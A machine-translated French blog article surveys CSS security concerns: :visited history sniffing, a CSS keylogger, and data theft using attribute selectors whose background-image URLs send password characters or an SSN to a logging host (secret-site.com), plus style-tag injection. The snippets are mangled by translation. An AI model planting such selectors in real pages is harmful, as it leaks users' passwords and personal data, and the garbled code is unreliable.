Vulnérabilités de sécurité CSS

Ne pas paniquer! Le CSS lui-même n'est pas un risque de sécurité majeur, et dans la plupart des cas, il n'est pas nécessaire de s'inquiéter trop.

Cependant, certains articles discuteront des caractéristiques potentiellement surprenantes et même inquiétantes du CSS. Résumons:

Lier les problèmes qui ont été visités

Le problème est décrit comme suit:

1. Il existe un lien sur le site Web vers une page spécifique, comme Tickle Pigs .
2. Vous utilisez le style :visited pour définir la couleur du lien visité, comme a:visited { color: pink; } , qui n'est pas le style d'agent utilisateur par défaut.
3. Vous testez le style de calcul du lien.
4. Si la couleur est rose, cela signifie que l'utilisateur a visité la page.
5. Vous signalez ces informations à un serveur et effectuez certaines actions en conséquence (comme l'augmentation du taux de prime d'assurance).

Vous pourriez même le faire avec CSS complètement, car le :visited peut contenir background-image: url(/data-logger/tickle.php); , qui ne sera demandé que par les utilisateurs qui ont visité la page.

Ne t'inquiète pas! Les navigateurs ont bloqué cette attaque.

Clés

Le problème est décrit comme suit:

1. Il y a une boîte d'entrée sur la page, probablement une boîte d'entrée de mot de passe.
2. Vous prenez un script d'enregistrement comme image d'arrière-plan de la zone d'entrée et ajoutez un grand nombre de sélecteurs pour collecter les informations de mot de passe.

 entrée [valeur ^ = "a"] {background: url (logger.php? v = a); }

Ce n'est pas facile à réaliser. value de la zone d'entrée ne changera pas immédiatement en raison de l'entrée utilisateur. Mais dans des cadres comme React, cela se produit parfois. Ainsi, en théorie, ce CSS Keylogger pourrait fonctionner si vous ajoutez ce CSS à une page de connexion construite avec React.

Cependant, dans ce cas, le code JavaScript a été exécuté sur la page. Pour de telles attaques, JavaScript est beaucoup plus dangereux que CSS. Le JavaScript KeyLogger surveille les événements clés et les rapporte via Ajax avec seulement quelques lignes de code.

La politique de sécurité du contenu (CSP) peut bloquer le JavaScript en ligne injecté par des tiers et des XS ... et bien sûr, il peut également bloquer le CSS.

Vol de données

Le problème est décrit comme suit:

1. Si je peux ajouter des CSS malveillants à la page du site Web, vous êtes connecté ...
2. Et le site Web affiche des informations sensibles, telles qu'un numéro de sécurité sociale (SSN), pré-remplie sous la forme ...
3. Je peux l'obtenir avec le sélecteur de propriétés.

 entrée # ssn [value = "123-45-6789"] {background: url (https://secret-site.com/logger.php?ssn=123-45-6789); }

Avec un grand nombre de sélecteurs, vous pouvez couvrir toutes les possibilités!

Problème de bloc de style en ligne

Je ne sais pas si cela devrait être blâmé à CSS, mais imaginez:

 ... insérez un contenu généré par l'utilisateur ...

Peut-être que vous permettez à l'utilisateur de personnaliser certains CSS. Il s'agit d'un vecteur d'attaque car ils peuvent fermer des balises de style, ouvrir des balises de script et écrire du code JavaScript malveillant.

Il y a certainement plus

Y avez-vous pensé? Partagez-le.

Je suis sceptique quant au niveau de peur des vulnérabilités de sécurité CSS. Je ne veux pas trop sur les problèmes de sécurité (en particulier les problèmes tiers) parce que je ne suis pas un expert et que la sécurité est cruciale. Mais en même temps, je n'ai jamais entendu parler de CSS de devenir un vecteur d'attaque autre que des expériences de pensée. S'il vous plaît, apprenez-moi!

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!